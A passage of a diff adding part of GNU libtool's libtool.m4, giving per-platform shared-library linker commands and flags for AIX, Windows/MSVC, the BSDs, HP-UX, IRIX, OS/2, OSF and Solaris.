+ fi + ;; + esac + + if test no = "$_LT_TAGVAR(ld_shlibs, $1)"; then + runpath_var= + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)= + _LT_TAGVAR(export_dynamic_flag_spec, $1)= + _LT_TAGVAR(whole_archive_flag_spec, $1)= + fi + else + # PORTME fill in a description of your system's linker (not GNU ld) + case $host_os in + aix3*) + _LT_TAGVAR(allow_undefined_flag, $1)=unsupported + _LT_TAGVAR(always_export_symbols, $1)=yes + _LT_TAGVAR(archive_expsym_cmds, $1)='$LD -o $output_objdir/$soname $libobjs $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $AR_FLAGS $lib $output_objdir/$soname' + # Note: this linker hardcodes the directories in LIBPATH if there + # are no directories specified by -L. + _LT_TAGVAR(hardcode_minus_L, $1)=yes + if test yes = "$GCC" && test -z "$lt_prog_compiler_static"; then + # Neither direct hardcoding nor static linking is supported with a + # broken collect2. + _LT_TAGVAR(hardcode_direct, $1)=unsupported + fi + ;; + + aix[[4-9]]*) + if test ia64 = "$host_cpu"; then + # On IA64, the linker does run time linking by default, so we don't + # have to do anything special. + aix_use_runtimelinking=no + exp_sym_flag='-Bexport' + no_entry_flag= + else + # If we're using GNU nm, then we don't want the "-C" option. + # -C means demangle to GNU nm, but means don't demangle to AIX nm. + # Without the "-l" option, or with the "-B" option, AIX nm treats + # weak defined symbols like other global defined symbols, whereas + # GNU nm marks them as "W". + # While the 'weak' keyword is ignored in the Export File, we need + # it in the Import File for the 'aix-soname' feature, so we have + # to replace the "-B" option with "-P" for AIX nm. + if $NM -V 2>&1 | $GREP 'GNU' > /dev/null; then + _LT_TAGVAR(export_symbols_cmds, $1)='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$ 2 == "T") || (\$ 2 == "D") || (\$ 2 == "B") || (\$ 2 == "W")) && ([substr](\$ 3,1,1) != ".")) { if (\$ 2 == "W") { print \$ 3 " weak" } else { print \$ 3 } } }'\'' | sort -u > $export_symbols' + else + _LT_TAGVAR(export_symbols_cmds, $1)='`func_echo_all $NM | $SED -e '\''s/B\([[^B]]*\)$/P\1/'\''` -PCpgl $libobjs $convenience | awk '\''{ if (((\$ 2 == "T") || (\$ 2 == "D") || (\$ 2 == "B") || (\$ 2 == "L") || (\$ 2 == "W") || (\$ 2 == "V") || (\$ 2 == "Z")) && ([substr](\$ 1,1,1) != ".")) { if ((\$ 2 == "W") || (\$ 2 == "V") || (\$ 2 == "Z")) { print \$ 1 " weak" } else { print \$ 1 } } }'\'' | sort -u > $export_symbols' + fi + aix_use_runtimelinking=no + + # Test if we are trying to use run time linking or normal + # AIX style linking. If -brtl is somewhere in LDFLAGS, we + # have runtime linking enabled, and use it for executables. + # For shared libraries, we enable/disable runtime linking + # depending on the kind of the shared library created - + # when "with_aix_soname,aix_use_runtimelinking" is: + # "aix,no" lib.a(lib.so.V) shared, rtl:no, for executables + # "aix,yes" lib.so shared, rtl:yes, for executables + # lib.a static archive + # "both,no" lib.so.V(shr.o) shared, rtl:yes + # lib.a(lib.so.V) shared, rtl:no, for executables + # "both,yes" lib.so.V(shr.o) shared, rtl:yes, for executables + # lib.a(lib.so.V) shared, rtl:no + # "svr4,*" lib.so.V(shr.o) shared, rtl:yes, for executables + # lib.a static archive + case $host_os in aix4.[[23]]|aix4.[[23]].*|aix[[5-9]]*) + for ld_flag in $LDFLAGS; do + if (test x-brtl = "x$ld_flag" || test x-Wl,-brtl = "x$ld_flag"); then + aix_use_runtimelinking=yes + break + fi + done + if test svr4,no = "$with_aix_soname,$aix_use_runtimelinking"; then + # With aix-soname=svr4, we create the lib.so.V shared archives only, + # so we don't have lib.a shared libs to link our executables. + # We have to force runtime linking in this case. + aix_use_runtimelinking=yes + LDFLAGS="$LDFLAGS -Wl,-brtl" + fi + ;; + esac + + exp_sym_flag='-bexport' + no_entry_flag='-bnoentry' + fi + + # When large executables or shared objects are built, AIX ld can + # have problems creating the table of contents. If linking a library + # or program results in "error TOC overflow" add -mminimal-toc to + # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not + # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS. + + _LT_TAGVAR(archive_cmds, $1)='' + _LT_TAGVAR(hardcode_direct, $1)=yes + _LT_TAGVAR(hardcode_direct_absolute, $1)=yes + _LT_TAGVAR(hardcode_libdir_separator, $1)=':' + _LT_TAGVAR(link_all_deplibs, $1)=yes + _LT_TAGVAR(file_list_spec, $1)='$wl-f,' + case $with_aix_soname,$aix_use_runtimelinking in + aix,*) ;; # traditional, no import file + svr4,* | *,yes) # use import file + # The Import File defines what to hardcode. + _LT_TAGVAR(hardcode_direct, $1)=no + _LT_TAGVAR(hardcode_direct_absolute, $1)=no + ;; + esac + + if test yes = "$GCC"; then + case $host_os in aix4.[[012]]|aix4.[[012]].*) + # We only want to do this on AIX 4.2 and lower, the check + # below for broken collect2 doesn't work under 4.3+ + collect2name=`$CC -print-prog-name=collect2` + if test -f "$collect2name" && + strings "$collect2name" | $GREP resolve_lib_name >/dev/null + then + # We have reworked collect2 + : + else + # We have old collect2 + _LT_TAGVAR(hardcode_direct, $1)=unsupported + # It fails to find uninstalled libraries when the uninstalled + # path is not listed in the libpath. Setting hardcode_minus_L + # to unsupported forces relinking + _LT_TAGVAR(hardcode_minus_L, $1)=yes + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_TAGVAR(hardcode_libdir_separator, $1)= + fi + ;; + esac + shared_flag='-shared' + if test yes = "$aix_use_runtimelinking"; then + shared_flag="$shared_flag "'$wl-G' + fi + # Need to ensure runtime linking is disabled for the traditional + # shared library, or the linker may eventually find shared libraries + # /with/ Import File - we do not want to mix them. + shared_flag_aix='-shared' + shared_flag_svr4='-shared $wl-G' + else + # not using gcc + if test ia64 = "$host_cpu"; then + # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release + # chokes on -Wl,-G. The following line is correct: + shared_flag='-G' + else + if test yes = "$aix_use_runtimelinking"; then + shared_flag='$wl-G' + else + shared_flag='$wl-bM:SRE' + fi + shared_flag_aix='$wl-bM:SRE' + shared_flag_svr4='$wl-G' + fi + fi + + _LT_TAGVAR(export_dynamic_flag_spec, $1)='$wl-bexpall' + # It seems that -bexpall does not export symbols beginning with + # underscore (_), so it is better to generate a list of symbols to export. + _LT_TAGVAR(always_export_symbols, $1)=yes + if test aix,yes = "$with_aix_soname,$aix_use_runtimelinking"; then + # Warning - without using the other runtime loading flags (-brtl), + # -berok will link without error, but may produce a broken library. + _LT_TAGVAR(allow_undefined_flag, $1)='-berok' + # Determine the default libpath from the value encoded in an + # empty executable. + _LT_SYS_MODULE_PATH_AIX([$1]) + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl-blibpath:$libdir:'"$aix_libpath" + _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -o $output_objdir/$soname $libobjs $deplibs $wl'$no_entry_flag' $compiler_flags `if test -n "$allow_undefined_flag"; then func_echo_all "$wl$allow_undefined_flag"; else :; fi` $wl'$exp_sym_flag:\$export_symbols' '$shared_flag + else + if test ia64 = "$host_cpu"; then + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl-R $libdir:/usr/lib:/lib' + _LT_TAGVAR(allow_undefined_flag, $1)="-z nodefs" + _LT_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\$wl$no_entry_flag"' $compiler_flags $wl$allow_undefined_flag '"\$wl$exp_sym_flag:\$export_symbols" + else + # Determine the default libpath from the value encoded in an + # empty executable. + _LT_SYS_MODULE_PATH_AIX([$1]) + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl-blibpath:$libdir:'"$aix_libpath" + # Warning - without using the other run time loading flags, + # -berok will link without error, but may produce a broken library. + _LT_TAGVAR(no_undefined_flag, $1)=' $wl-bernotok' + _LT_TAGVAR(allow_undefined_flag, $1)=' $wl-berok' + if test yes = "$with_gnu_ld"; then + # We only use this code for GNU lds that support --whole-archive. + _LT_TAGVAR(whole_archive_flag_spec, $1)='$wl--whole-archive$convenience $wl--no-whole-archive' + else + # Exported symbols can be pulled into shared objects from archives + _LT_TAGVAR(whole_archive_flag_spec, $1)='$convenience' + fi + _LT_TAGVAR(archive_cmds_need_lc, $1)=yes + _LT_TAGVAR(archive_expsym_cmds, $1)='$RM -r $output_objdir/$realname.d~$MKDIR $output_objdir/$realname.d' + # -brtl affects multiple linker settings, -berok does not and is overridden later + compiler_flags_filtered='`func_echo_all "$compiler_flags " | $SED -e "s%-brtl\\([[, ]]\\)%-berok\\1%g"`' + if test svr4 != "$with_aix_soname"; then + # This is similar to how AIX traditionally builds its shared libraries. + _LT_TAGVAR(archive_expsym_cmds, $1)="$_LT_TAGVAR(archive_expsym_cmds, $1)"'~$CC '$shared_flag_aix' -o $output_objdir/$realname.d/$soname $libobjs $deplibs $wl-bnoentry '$compiler_flags_filtered'$wl-bE:$export_symbols$allow_undefined_flag~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$realname.d/$soname' + fi + if test aix != "$with_aix_soname"; then + _LT_TAGVAR(archive_expsym_cmds, $1)="$_LT_TAGVAR(archive_expsym_cmds, $1)"'~$CC '$shared_flag_svr4' -o $output_objdir/$realname.d/$shared_archive_member_spec.o $libobjs $deplibs $wl-bnoentry '$compiler_flags_filtered'$wl-bE:$export_symbols$allow_undefined_flag~$STRIP -e $output_objdir/$realname.d/$shared_archive_member_spec.o~( func_echo_all "#! $soname($shared_archive_member_spec.o)"; if test shr_64 = "$shared_archive_member_spec"; then func_echo_all "# 64"; else func_echo_all "# 32"; fi; cat $export_symbols ) > $output_objdir/$realname.d/$shared_archive_member_spec.imp~$AR $AR_FLAGS $output_objdir/$soname $output_objdir/$realname.d/$shared_archive_member_spec.o $output_objdir/$realname.d/$shared_archive_member_spec.imp' + else + # used by -dlpreopen to get the symbols + _LT_TAGVAR(archive_expsym_cmds, $1)="$_LT_TAGVAR(archive_expsym_cmds, $1)"'~$MV $output_objdir/$realname.d/$soname $output_objdir' + fi + _LT_TAGVAR(archive_expsym_cmds, $1)="$_LT_TAGVAR(archive_expsym_cmds, $1)"'~$RM -r $output_objdir/$realname.d' + fi + fi + ;; + + amigaos*) + case $host_cpu in + powerpc) + # see comment about AmigaOS4 .so support + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags $wl-soname $wl$soname -o $lib' + _LT_TAGVAR(archive_expsym_cmds, $1)='' + ;; + m68k) + _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/a2ixlibrary.data~$ECHO "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$ECHO "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$ECHO "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$ECHO "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_TAGVAR(hardcode_minus_L, $1)=yes + ;; + esac + ;; + + bsdi[[45]]*) + _LT_TAGVAR(export_dynamic_flag_spec, $1)=-rdynamic + ;; + + cygwin* | mingw* | pw32* | cegcc*) + # When not using gcc, we currently assume that we are using + # Microsoft Visual C++ or Intel C++ Compiler. + # hardcode_libdir_flag_spec is actually meaningless, as there is + # no search path for DLLs. + case $cc_basename in + cl* | icl*) + # Native MSVC or ICC + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)=' ' + _LT_TAGVAR(allow_undefined_flag, $1)=unsupported + _LT_TAGVAR(always_export_symbols, $1)=yes + _LT_TAGVAR(file_list_spec, $1)='@' + # Tell ltmain to make .lib files, not .a files. + libext=lib + # Tell ltmain to make .dll files, not .so files. + shrext_cmds=.dll + # FIXME: Setting linknames here is a bad hack. + _LT_TAGVAR(archive_cmds, $1)='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~linknames=' + _LT_TAGVAR(archive_expsym_cmds, $1)='if _LT_DLL_DEF_P([$export_symbols]); then + cp "$export_symbols" "$output_objdir/$soname.def"; + echo "$tool_output_objdir$soname.def" > "$output_objdir/$soname.exp"; + else + $SED -e '\''s/^/-link -EXPORT:/'\'' < $export_symbols > $output_objdir/$soname.exp; + fi~ + $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~ + linknames=' + # The linker will not automatically build a static lib if we build a DLL. + # _LT_TAGVAR(old_archive_from_new_cmds, $1)='true' + _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes + _LT_TAGVAR(exclude_expsyms, $1)='_NULL_IMPORT_DESCRIPTOR|_IMPORT_DESCRIPTOR_.*' + _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]][[ ]]/s/.*[[ ]]\([[^ ]]*\)/\1,DATA/'\'' | $SED -e '\''/^[[AITW]][[ ]]/s/.*[[ ]]//'\'' | sort | uniq > $export_symbols' + # Don't use ranlib + _LT_TAGVAR(old_postinstall_cmds, $1)='chmod 644 $oldlib' + _LT_TAGVAR(postlink_cmds, $1)='lt_outputfile="@OUTPUT@"~ + lt_tool_outputfile="@TOOL_OUTPUT@"~ + case $lt_outputfile in + *.exe|*.EXE) ;; + *) + lt_outputfile=$lt_outputfile.exe + lt_tool_outputfile=$lt_tool_outputfile.exe + ;; + esac~ + if test : != "$MANIFEST_TOOL" && test -f "$lt_outputfile.manifest"; then + $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1; + $RM "$lt_outputfile.manifest"; + fi' + ;; + *) + # Assume MSVC and ICC wrapper + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)=' ' + _LT_TAGVAR(allow_undefined_flag, $1)=unsupported + # Tell ltmain to make .lib files, not .a files. + libext=lib + # Tell ltmain to make .dll files, not .so files. + shrext_cmds=.dll + # FIXME: Setting linknames here is a bad hack. + _LT_TAGVAR(archive_cmds, $1)='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames=' + # The linker will automatically build a .lib file if we build a DLL. + _LT_TAGVAR(old_archive_from_new_cmds, $1)='true' + # FIXME: Should let the user specify the lib program. + _LT_TAGVAR(old_archive_cmds, $1)='lib -OUT:$oldlib$oldobjs$old_deplibs' + _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes + ;; + esac + ;; + + darwin* | rhapsody*) + _LT_DARWIN_LINKER_FEATURES($1) + ;; + + dgux*) + _LT_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ constructor + # support. Future versions do this automatically, but an explicit c++rt0.o + # does not break anything, and helps significantly (at the cost of a little + # extra space). + freebsd2.2*) + _LT_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags /usr/lib/c++rt0.o' + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' + _LT_TAGVAR(hardcode_direct, $1)=yes + _LT_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + # Unfortunately, older versions of FreeBSD 2 do not have this feature. + freebsd2.*) + _LT_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' + _LT_TAGVAR(hardcode_direct, $1)=yes + _LT_TAGVAR(hardcode_minus_L, $1)=yes + _LT_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + # FreeBSD 3 and greater uses gcc -shared to do shared libraries. + freebsd* | dragonfly* | midnightbsd*) + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' + _LT_TAGVAR(hardcode_direct, $1)=yes + _LT_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + hpux9*) + if test yes = "$GCC"; then + _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$CC -shared $pic_flag $wl+b $wl$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test "x$output_objdir/$soname" = "x$lib" || mv $output_objdir/$soname $lib' + else + _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test "x$output_objdir/$soname" = "x$lib" || mv $output_objdir/$soname $lib' + fi + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl+b $wl$libdir' + _LT_TAGVAR(hardcode_libdir_separator, $1)=: + _LT_TAGVAR(hardcode_direct, $1)=yes + + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + _LT_TAGVAR(hardcode_minus_L, $1)=yes + _LT_TAGVAR(export_dynamic_flag_spec, $1)='$wl-E' + ;; + + hpux10*) + if test yes,no = "$GCC,$with_gnu_ld"; then + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $wl+h $wl$soname $wl+b $wl$install_libdir -o $lib $libobjs $deplibs $compiler_flags' + else + _LT_TAGVAR(archive_cmds, $1)='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags' + fi + if test no = "$with_gnu_ld"; then + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl+b $wl$libdir' + _LT_TAGVAR(hardcode_libdir_separator, $1)=: + _LT_TAGVAR(hardcode_direct, $1)=yes + _LT_TAGVAR(hardcode_direct_absolute, $1)=yes + _LT_TAGVAR(export_dynamic_flag_spec, $1)='$wl-E' + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + _LT_TAGVAR(hardcode_minus_L, $1)=yes + fi + ;; + + hpux11*) + if test yes,no = "$GCC,$with_gnu_ld"; then + case $host_cpu in + hppa*64*) + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $wl+h $wl$soname -o $lib $libobjs $deplibs $compiler_flags' + ;; + ia64*) + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $wl+h $wl$soname $wl+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags' + ;; + *) + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $wl+h $wl$soname $wl+b $wl$install_libdir -o $lib $libobjs $deplibs $compiler_flags' + ;; + esac + else + case $host_cpu in + hppa*64*) + _LT_TAGVAR(archive_cmds, $1)='$CC -b $wl+h $wl$soname -o $lib $libobjs $deplibs $compiler_flags' + ;; + ia64*) + _LT_TAGVAR(archive_cmds, $1)='$CC -b $wl+h $wl$soname $wl+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags' + ;; + *) + m4_if($1, [], [ + # Older versions of the 11.00 compiler do not understand -b yet + # (HP92453-01 A.11.01.20 doesn't, HP92453-01 B.11.X.35175-35176.GP does) + _LT_LINKER_OPTION([if $CC understands -b], + _LT_TAGVAR(lt_cv_prog_compiler__b, $1), [-b], + [_LT_TAGVAR(archive_cmds, $1)='$CC -b $wl+h $wl$soname $wl+b $wl$install_libdir -o $lib $libobjs $deplibs $compiler_flags'], + [_LT_TAGVAR(archive_cmds, $1)='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'])], + [_LT_TAGVAR(archive_cmds, $1)='$CC -b $wl+h $wl$soname $wl+b $wl$install_libdir -o $lib $libobjs $deplibs $compiler_flags']) + ;; + esac + fi + if test no = "$with_gnu_ld"; then + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl+b $wl$libdir' + _LT_TAGVAR(hardcode_libdir_separator, $1)=: + + case $host_cpu in + hppa*64*|ia64*) + _LT_TAGVAR(hardcode_direct, $1)=no + _LT_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + *) + _LT_TAGVAR(hardcode_direct, $1)=yes + _LT_TAGVAR(hardcode_direct_absolute, $1)=yes + _LT_TAGVAR(export_dynamic_flag_spec, $1)='$wl-E' + + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + _LT_TAGVAR(hardcode_minus_L, $1)=yes + ;; + esac + fi + ;; + + irix5* | irix6* | nonstopux*) + if test yes = "$GCC"; then + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags $wl-soname $wl$soname `test -n "$verstring" && func_echo_all "$wl-set_version $wl$verstring"` $wl-update_registry $wl$output_objdir/so_locations -o $lib' + # Try to use the -exported_symbol ld option, if it does not + # work, assume that -exports_file does not work either and + # implicitly export all symbols. + # This should be the same for all languages, so no per-tag cache variable. + AC_CACHE_CHECK([whether the $host_os linker accepts -exported_symbol], + [lt_cv_irix_exported_symbol], + [save_LDFLAGS=$LDFLAGS + LDFLAGS="$LDFLAGS -shared $wl-exported_symbol ${wl}foo $wl-update_registry $wl/dev/null" + AC_LINK_IFELSE( + [AC_LANG_SOURCE( + [AC_LANG_CASE([C], [[int foo (void) { return 0; }]], + [C++], [[int foo (void) { return 0; }]], + [Fortran 77], [[ + subroutine foo + end]], + [Fortran], [[ + subroutine foo + end]])])], + [lt_cv_irix_exported_symbol=yes], + [lt_cv_irix_exported_symbol=no]) + LDFLAGS=$save_LDFLAGS]) + if test yes = "$lt_cv_irix_exported_symbol"; then + _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags $wl-soname $wl$soname `test -n "$verstring" && func_echo_all "$wl-set_version $wl$verstring"` $wl-update_registry $wl$output_objdir/so_locations $wl-exports_file $wl$export_symbols -o $lib' + fi + else + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry $output_objdir/so_locations -o $lib' + _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry $output_objdir/so_locations -exports_file $export_symbols -o $lib' + fi + _LT_TAGVAR(archive_cmds_need_lc, $1)='no' + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl-rpath $wl$libdir' + _LT_TAGVAR(hardcode_libdir_separator, $1)=: + _LT_TAGVAR(inherit_rpath, $1)=yes + _LT_TAGVAR(link_all_deplibs, $1)=yes + ;; + + linux*) + case $cc_basename in + tcc*) + # Fabrice Bellard et al's Tiny C Compiler + _LT_TAGVAR(ld_shlibs, $1)=yes + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' + ;; + esac + ;; + + netbsd*) + if echo __ELF__ | $CC -E - | $GREP __ELF__ >/dev/null; then + _LT_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' # a.out + else + _LT_TAGVAR(archive_cmds, $1)='$LD -shared -o $lib $libobjs $deplibs $linker_flags' # ELF + fi + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' + _LT_TAGVAR(hardcode_direct, $1)=yes + _LT_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + newsos6) + _LT_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_TAGVAR(hardcode_direct, $1)=yes + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl-rpath $wl$libdir' + _LT_TAGVAR(hardcode_libdir_separator, $1)=: + _LT_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + *nto* | *qnx*) + ;; + + openbsd* | bitrig*) + if test -f /usr/libexec/ld.so; then + _LT_TAGVAR(hardcode_direct, $1)=yes + _LT_TAGVAR(hardcode_shlibpath_var, $1)=no + _LT_TAGVAR(hardcode_direct_absolute, $1)=yes + if test -z "`echo __ELF__ | $CC -E - | $GREP __ELF__`"; then + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' + _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags $wl-retain-symbols-file,$export_symbols' + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl-rpath,$libdir' + _LT_TAGVAR(export_dynamic_flag_spec, $1)='$wl-E' + else + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl-rpath,$libdir' + fi + else + _LT_TAGVAR(ld_shlibs, $1)=no + fi + ;; + + os2*) + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_TAGVAR(hardcode_minus_L, $1)=yes + _LT_TAGVAR(allow_undefined_flag, $1)=unsupported + shrext_cmds=.dll + _LT_TAGVAR(archive_cmds, $1)='$ECHO "LIBRARY ${soname%$shared_ext} INITINSTANCE TERMINSTANCE" > $output_objdir/$libname.def~ + $ECHO "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~ + $ECHO "DATA MULTIPLE NONSHARED" >> $output_objdir/$libname.def~ + $ECHO EXPORTS >> $output_objdir/$libname.def~ + emxexp $libobjs | $SED /"_DLL_InitTerm"/d >> $output_objdir/$libname.def~ + $CC -Zdll -Zcrtdll -o $output_objdir/$soname $libobjs $deplibs $compiler_flags $output_objdir/$libname.def~ + emximp -o $lib $output_objdir/$libname.def' + _LT_TAGVAR(archive_expsym_cmds, $1)='$ECHO "LIBRARY ${soname%$shared_ext} INITINSTANCE TERMINSTANCE" > $output_objdir/$libname.def~ + $ECHO "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~ + $ECHO "DATA MULTIPLE NONSHARED" >> $output_objdir/$libname.def~ + $ECHO EXPORTS >> $output_objdir/$libname.def~ + prefix_cmds="$SED"~ + if test EXPORTS = "`$SED 1q $export_symbols`"; then + prefix_cmds="$prefix_cmds -e 1d"; + fi~ + prefix_cmds="$prefix_cmds -e \"s/^\(.*\)$/_\1/g\""~ + cat $export_symbols | $prefix_cmds >> $output_objdir/$libname.def~ + $CC -Zdll -Zcrtdll -o $output_objdir/$soname $libobjs $deplibs $compiler_flags $output_objdir/$libname.def~ + emximp -o $lib $output_objdir/$libname.def' + _LT_TAGVAR(old_archive_From_new_cmds, $1)='emximp -o $output_objdir/${libname}_dll.a $output_objdir/$libname.def' + _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes + _LT_TAGVAR(file_list_spec, $1)='@' + ;; + + osf3*) + if test yes = "$GCC"; then + _LT_TAGVAR(allow_undefined_flag, $1)=' $wl-expect_unresolved $wl\*' + _LT_TAGVAR(archive_cmds, $1)='$CC -shared$allow_undefined_flag $libobjs $deplibs $compiler_flags $wl-soname $wl$soname `test -n "$verstring" && func_echo_all "$wl-set_version $wl$verstring"` $wl-update_registry $wl$output_objdir/so_locations -o $lib' + else + _LT_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*' + _LT_TAGVAR(archive_cmds, $1)='$CC -shared$allow_undefined_flag $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry $output_objdir/so_locations -o $lib' + fi + _LT_TAGVAR(archive_cmds_need_lc, $1)='no' + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl-rpath $wl$libdir' + _LT_TAGVAR(hardcode_libdir_separator, $1)=: + ;; + + osf4* | osf5*) # as osf3* with the addition of -msym flag + if test yes = "$GCC"; then + _LT_TAGVAR(allow_undefined_flag, $1)=' $wl-expect_unresolved $wl\*' + _LT_TAGVAR(archive_cmds, $1)='$CC -shared$allow_undefined_flag $pic_flag $libobjs $deplibs $compiler_flags $wl-msym $wl-soname $wl$soname `test -n "$verstring" && func_echo_all "$wl-set_version $wl$verstring"` $wl-update_registry $wl$output_objdir/so_locations -o $lib' + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl-rpath $wl$libdir' + else + _LT_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*' + _LT_TAGVAR(archive_cmds, $1)='$CC -shared$allow_undefined_flag $libobjs $deplibs $compiler_flags -msym -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry $output_objdir/so_locations -o $lib' + _LT_TAGVAR(archive_expsym_cmds, $1)='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; printf "%s\\n" "-hidden">> $lib.exp~ + $CC -shared$allow_undefined_flag $wl-input $wl$lib.exp $compiler_flags $libobjs $deplibs -soname $soname `test -n "$verstring" && $ECHO "-set_version $verstring"` -update_registry $output_objdir/so_locations -o $lib~$RM $lib.exp' + + # Both c and cxx compiler support -rpath directly + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-rpath $libdir' + fi + _LT_TAGVAR(archive_cmds_need_lc, $1)='no' + _LT_TAGVAR(hardcode_libdir_separator, $1)=: + ;; + + solaris*) + _LT_TAGVAR(no_undefined_flag, $1)=' -z defs' + if test yes = "$GCC"; then + wlarc='$wl' + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $wl-z ${wl}text $wl-h $wl$soname -o $lib $libobjs $deplibs $compiler_flags' + _LT_TAGVAR(archive_expsym_cmds, 